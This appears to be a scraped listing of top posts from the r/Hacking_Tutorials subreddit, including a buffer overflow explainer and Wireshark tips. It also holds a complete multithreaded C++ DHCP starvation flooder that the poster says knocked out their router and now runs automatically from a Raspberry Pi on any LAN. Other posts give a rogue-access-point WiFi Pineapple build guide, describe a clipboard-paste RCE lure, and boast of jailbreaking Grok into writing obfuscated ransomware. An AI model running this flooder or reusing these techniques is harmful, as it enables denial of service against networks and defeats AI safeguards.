r/Hacking_Tutorials • • Aug 08 '25

Question A buffer overflow attack visualized.

572 Upvotes

Here’s a visualized description of a buffer overflow attack to help you understand how it works:


🧠 What is a Buffer Overflow?

A buffer is a memory storage region. When data exceeds the allocated buffer size, it can overflow into adjacent memory, leading to unpredictable behavior.


📊 Visualization Breakdown

  1. Normal Execution

+----------------+----------------+------------------+ | Buffer | Adjacent Var | Return Address | +----------------+----------------+------------------+ | [AAAA] | [1234] | [RET: 0x123] | +----------------+----------------+------------------+

Buffer: Allocated to hold 4 characters.

Adjacent Var: A separate local variable.

Return Address: Points to the next instruction to execute after function ends.

2. Overflow Occurs

Input: AAAAAAAAAAAAAAAA (16 bytes)

+----------------+----------------+------------------+ | [AAAAAAAAAAAA]| [AAAA] | [RET: overwritten] +----------------+----------------+------------------+

Input overwrites buffer, adjacent variables, and return address.


🎯 What Can Go Wrong?

If the attacker overwrites the return address with a pointer to malicious code, the program may jump to and execute that code after the function exits.


💀 Result: Exploitation

The attacker gains unauthorized access or control.

[Normal Return Address: 0x123] → Overwritten with [0xBAD] → Jump to malicious shellcode


🔐 Prevention Methods

Stack canaries

DEP (Data Execution Prevention)

ASLR (Address Space Layout Randomization)

Using safer functions (strncpy instead of strcpy)

Bounds checking.


r/Hacking_Tutorials • • Sep 10 '24 Take My Silver Heart of Silver

Question Cheap DIY WiFi Pineapple Noob Guide

Thumbnail
gallery
571 Upvotes

Cheap DIY WiFi Pineapple NOOB Guide

WiFi Pineapple Cloner GitHub: https://github.com/xchwarze/wifi-pineapple-cloner?tab=readme-ov-file

Step 1 : Find a router on the device firmware page that you can afford — look through as many as you like, compare specs, check eBay for cheap ones. Just make sure you get the exact model. Device page: https://gitlab.com/xchwarze/wifi-pineapple-cloner-builds

(Optional) if you want to use any router not listed you must build the code from source which is difficult!

Step 2: Download that firmware (.bin file) and save it for later.

Step 3: Download the latest version of OpenWRT which is an open source software for routers. You will need to plug your router in, log into its network and go to the router page in your browser (usually something like 192.168.8.1).

Here you need to find where to update your routers firmware, and you can usually upload a file which is the OpenWRT firmware. This will install automatically. https://openwrt.org/downloads

optional

Step 4: Now you will need to install the WiFi Pineapple Clone firmware you downloaded earlier. But you need to SSH into the router (look into SSH login). Open terminal #1

  1. Either do ssh [email protected] and enter the WiFi router password

  2. Or f you have trouble do: sudo ssh -oHostKeyAlgorithms=+ssh-rsa [email protected]

    1. This is a workaround that forces a new ssh key Open terminal 2 so we can transfer the downloaded Pineapple clone firmware from our main PC to our router and do:

  3. scp /Users/yourusername/Downloads/Hak_pinapple/(yourWifiPinappleCloneFile.bin [email protected]:/tmp

  4. OR if you have issues: scp -oHostKeyAlgorithms=+ssh-rsa /Users/yourUsername/Downloads/Hak_pinapple/yourWifiPineappleCloneFile.bin [email protected]:/tmp

Step 5: Now that you have the file on your router let’s install it on the 1st terminal that is SSH into your router:

  • sysupgrade -n -F /tmp/yourWifiPineappleCloneFile.bin

  • This will begin the installation and your router will restart.

  • At this point your original WiFi network (192.168.8.1) will disappear and the new one will be named WiFi Pinapple (or something similar)

  • Login with http://172.16.42.1:1471/ in your browser

Step 6 - Final step! Here you will set up the pineapple in the browser

  1. It will ask you to disable the WiFi from your router

  2. ***this is very router specific but for my GL .iNet x750 I held the reset but for 5 seconds — this keeps the router on but disables the WiFi (this is a security feature because the initial new network has no password)

  3. Go through setup instructions s and enjoy!

Let me know if you have questions I will or maybe someone will help


r/Hacking_Tutorials • • Nov 27 '24

Question DYI Wifi Pineapple for 10$ - Step by step guide

Post image
568 Upvotes

Because so many of you had issues following the steps in the previous video, I decided to factory reset my router and follow the same process again, step by step. It doesn't have all the features of the new version but at least you can build this one before buying the official one.

https://youtu.be/4_UPYVlEW_E

Enjoy!


r/Hacking_Tutorials • • Feb 10 '25

Question Free 6.5 Hour Wireshark Course in Udemy

561 Upvotes

I’ve recently published a comprehensive Wireshark course covering a wide range of topics, from network sniffing to troubleshooting and security analysis. If you’re into networking, cybersecurity, or ethical hacking, this course will help you master Wireshark and analyze network traffic like a pro!

https://ocsaly.com/courses/wireshark/

I’m offering free access to the course using this coupon code: FIRST_STUDENTS, .
ps: first coupon expired for udemy's 1000 free students limit per coupon, i've created 2nd new

Here's new coupon:

🔗 https://ocsaly.com/courses/wireshark/

If you find it helpful, I’d really appreciate a good review! ❤️ Thanks, and happy learning!

#Wireshark #Cybersecurity #Networking #EthicalHacking #FreeCourse #Udemy


r/Hacking_Tutorials • • Aug 15 '20

Facts Some Interesting Hacking Facts!

Post image
554 Upvotes

r/Hacking_Tutorials • • May 04 '26

Question Do you like my station?

Post image
535 Upvotes

arch btw


r/Hacking_Tutorials • • Nov 07 '20

Security Certification Roadmap v7 Updated

Post image
535 Upvotes

r/Hacking_Tutorials • • Oct 25 '19

Techniques Hacking Wifi: How a surface level intelligence attack can grab your wifi password. [OC]

530 Upvotes

r/Hacking_Tutorials • • Apr 11 '25

Defensive Linux Security

Post image
523 Upvotes

r/Hacking_Tutorials • • Jul 28 '25

Question A new and creative trick of ransomware

Post image
521 Upvotes

I think it's an interesting method for folks. They create a site with the appearance of Cloudflare verification and for additional verification they tell you to paste a command in the Run Dialog that they have already copied to your clipboard

And as a result, RCE or remote code execution occurs and the attacker can run anything on your computer!


r/Hacking_Tutorials • • Mar 05 '25

Question Jailbreaking Grok for Hacking

Post image
521 Upvotes

I’ve been using grok for a couple weeks now, and I’ve managed to find certain prompts that jailbroke Grok instantly and it reached a point where Grok built and obfuscated a ransomware for me and made it into an executable that bypassed Windows defender! The image is an example of the output.

Companies like X should really consider improving their filters! Plus wtf is up with the random racism elon??


r/Hacking_Tutorials • • Mar 02 '25

Question Coded a DHCP starvation code in c++ and brought down my home router lol

519 Upvotes

Just finished coding this DHCP flooder and thought I'd share how it works!

This is obviously for educational purposes only, but it's crazy how most routers (even enterprise-grade ones) aren't properly configured to handle DHCP packets and remain vulnerable to fake DHCP flooding.

The code is pretty straightforward but efficient. I'm using C++ with multithreading to maximize packet throughput. Here's what's happening under the hood: First, I create a packet pool of 1024 pre-initialized DHCP discovery packets to avoid constant reallocation. Each packet gets a randomized MAC address (starting with 52:54:00 prefix) and transaction ID. The real thing happens in the multithreaded approach, I spawn twice as many threads as CPU cores, with each thread sending a continuous stream of DHCP discover packets via UDP broadcast.

Every 1000 packets, the code refreshes the MAC address and transaction ID to ensure variety. To minimize contention, each thread maintains its own packet counter and only periodically updates the global counter. I'm using atomic variables and memory ordering to ensure proper synchronization without excessive overhead. The display thread shows real-time statistics every second, total packets sent, current rate, and average rate since start. My tests show it can easily push tens of thousands of packets per second on modest hardware with LAN.

The socket setup is pretty basic, creating a UDP socket with broadcast permission and sending to port 67 (standard DHCP server port). What surprised me was how easily this can overwhelm improperly configured networks. Without proper DHCP snooping or rate limiting, this kind of traffic can eat up all available DHCP leases and cause the clients to fail connecting and ofc no access to internet. The router will be too busy dealing with the fake packets that it ignores the actual clients lol. When you stop the code, the servers will go back to normal after a couple of minutes though.

Edit: I'm using raspberry pi to automatically run the code when it detects a LAN HAHAHA.

Not sure if I should share the exact code, well for obvious reasons lmao.

Edit: Fuck it, here is the code, be good boys and don't use it in a bad way, it's not optimized anyways lmao, can make it even create millions a sec lol:

#include <iostream>
#include <cstring>
#include <cstdlib>
#include <ctime>
#include <thread>
#include <chrono>
#include <vector>
#include <atomic>
#include <random>
#include <array>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>
#include <iomanip>

#pragma pack(push, 1)
struct DHCP {
    uint8_t op;
    uint8_t htype;
    uint8_t hlen;
    uint8_t hops;
    uint32_t xid;
    uint16_t secs;
    uint16_t flags;
    uint32_t ciaddr;
    uint32_t yiaddr;
    uint32_t siaddr;
    uint32_t giaddr;
    uint8_t chaddr[16];
    char sname[64];
    char file[128];
    uint8_t options[240];
};
#pragma pack(pop)

constexpr size_t PACKET_POOL_SIZE = 1024;
std::array<DHCP, PACKET_POOL_SIZE> packet_pool;
std::atomic<uint64_t> packets_sent_last_second(0);
std::atomic<bool> should_exit(false);

void generate_random_mac(uint8_t* mac) {
    static thread_local std::mt19937 gen(std::random_device{}());
    static std::uniform_int_distribution<> dis(0, 255);

    mac[0] = 0x52;
    mac[1] = 0x54;
    mac[2] = 0x00;
    mac[3] = dis(gen) & 0x7F;
    mac[4] = dis(gen);
    mac[5] = dis(gen);
}

void initialize_packet_pool() {
    for (auto& packet : packet_pool) {
        packet.op = 1;  // BOOTREQUEST
        packet.htype = 1;  // Ethernet
        packet.hlen = 6;  // MAC address length
        packet.hops = 0;
        packet.secs = 0;
        packet.flags = htons(0x8000);  // Broadcast
        packet.ciaddr = 0;
        packet.yiaddr = 0;
        packet.siaddr = 0;
        packet.giaddr = 0;

        generate_random_mac(packet.chaddr);

        // DHCP Discover options
        packet.options[0] = 53;  // DHCP Message Type
        packet.options[1] = 1;   // Length
        packet.options[2] = 1;   // Discover
        packet.options[3] = 255; // End option

        // Randomize XID
        packet.xid = rand();
    }
}

void send_packets(int thread_id) {
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("Failed to create socket");
        return;
    }

    int broadcast = 1;
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &broadcast, sizeof(broadcast)) < 0) {
        perror("Failed to set SO_BROADCAST");
        close(sock);
        return;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(67);
    addr.sin_addr.s_addr = INADDR_BROADCAST;

    uint64_t local_counter = 0;
    size_t packet_index = thread_id % PACKET_POOL_SIZE;

    while (!should_exit.load(std::memory_order_relaxed)) {
        DHCP& packet = packet_pool[packet_index];
        
        // Update MAC and XID for some variability
        if (local_counter % 1000 == 0) {
            generate_random_mac(packet.chaddr);
            packet.xid = rand();
        }

        if (sendto(sock, &packet, sizeof(DHCP), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
            perror("Failed to send packet");
        } else {
            local_counter++;
        }

        packet_index = (packet_index + 1) % PACKET_POOL_SIZE;

        if (local_counter % 10000 == 0) {  // Update less frequently to reduce atomic operations
            packets_sent_last_second.fetch_add(local_counter, std::memory_order_relaxed);
            local_counter = 0;
        }
    }

    close(sock);
}

void display_count() {
    uint64_t total_packets = 0;
    auto start_time = std::chrono::steady_clock::now();

    while (!should_exit.load(std::memory_order_relaxed)) {
        std::this_thread::sleep_for(std::chrono::seconds(1));
        auto current_time = std::chrono::steady_clock::now();
        uint64_t packets_this_second = packets_sent_last_second.exchange(0, std::memory_order_relaxed);
        total_packets += packets_this_second;

        double elapsed_time = std::chrono::duration<double>(current_time - start_time).count();
        double rate = packets_this_second;
        double avg_rate = total_packets / elapsed_time;

        std::cout << "Packets sent: " << total_packets 
                  << ", Rate: " << std::fixed << std::setprecision(2) << rate << " pps"
                  << ", Avg: " << std::fixed << std::setprecision(2) << avg_rate << " pps" << std::endl;
    }
}

int main() {
    srand(time(nullptr));
    initialize_packet_pool();

    unsigned int num_threads = std::thread::hardware_concurrency() * 2;
    std::vector<std::thread> threads;

    for (unsigned int i = 0; i < num_threads; i++) {
        threads.emplace_back(send_packets, i);
    }

    std::thread display_thread(display_count);

    std::cout << "Press Enter to stop..." << std::endl;
    std::cin.get();
    should_exit.store(true, std::memory_order_relaxed);

    for (auto& t : threads) {
        t.join();
    }
    display_thread.join();

    return 0;
}

r/Hacking_Tutorials • • May 11 '23

Malware intrusion systems for andriod

518 Upvotes

r/Hacking_Tutorials • • Feb 26 '23

Question “Oh, you’re a hacker?”

517 Upvotes

r/Hacking_Tutorials • • Mar 08 '26 Mindblown

This open-source tool turns any WiFi router into a through-wall body tracking camera

512 Upvotes

r/Hacking_Tutorials • • May 07 '26

Question Turning Kali into an AI-assisted hacking workspace

Post image
509 Upvotes

Instead of jumping between terminal, browser, notes, screenshots, scanners and reports: knows which tools are available, perform recon, exploit, osint and knows the context (I hate having to explain everything every time), I was tired using AI via the web or having to settle for agents designed for coding.
Definitely a huge step forward, feels like Jarvis wired into Kali linux.

repo: https://github.com/FrancescoStabile/numasec


r/Hacking_Tutorials • • Jul 12 '25

A tool made for hardware hackers

504 Upvotes

Heavily inspired by the Bus Pirate, this tool provides a full set of interfaces to communicate with all kinds of stuff.

A full command reference and usage guide is available : https://github.com/geo-tp/ESP32-Bus-Pirate/wiki

Github for the release : https://github.com/geo-tp/ESP32-Bus-Pirate


r/Hacking_Tutorials • • Feb 28 '22

How My First Year in Cybersecurity Went

Post image
504 Upvotes

r/Hacking_Tutorials • • Sep 28 '25

useful wireshark filters

Post image
498 Upvotes

r/Hacking_Tutorials • • Nov 29 '21

Linux Emoji Fork Bomb 💣

Post image
493 Upvotes

r/Hacking_Tutorials • • Nov 03 '21

hashcat -w 4

Post image
489 Upvotes

r/Hacking_Tutorials • • Mar 07 '21

Question Can anybody explain to me what happened here ?

Post image
488 Upvotes

r/Hacking_Tutorials • • Jul 25 '25

VPN tunnelling explained

Post image
485 Upvotes

r/Hacking_Tutorials • • Mar 31 '26

Question I made a pentesting trainer you can use on any device.

Thumbnail
gallery
484 Upvotes

Launch the html file on a computer or tablet and get to hacking. Run a command or look for a walkthrough all while attempting to root and exfil without leaving a trace. Give it a try and leave some feedback!

github.com/glivchgriefer/NETBREAKER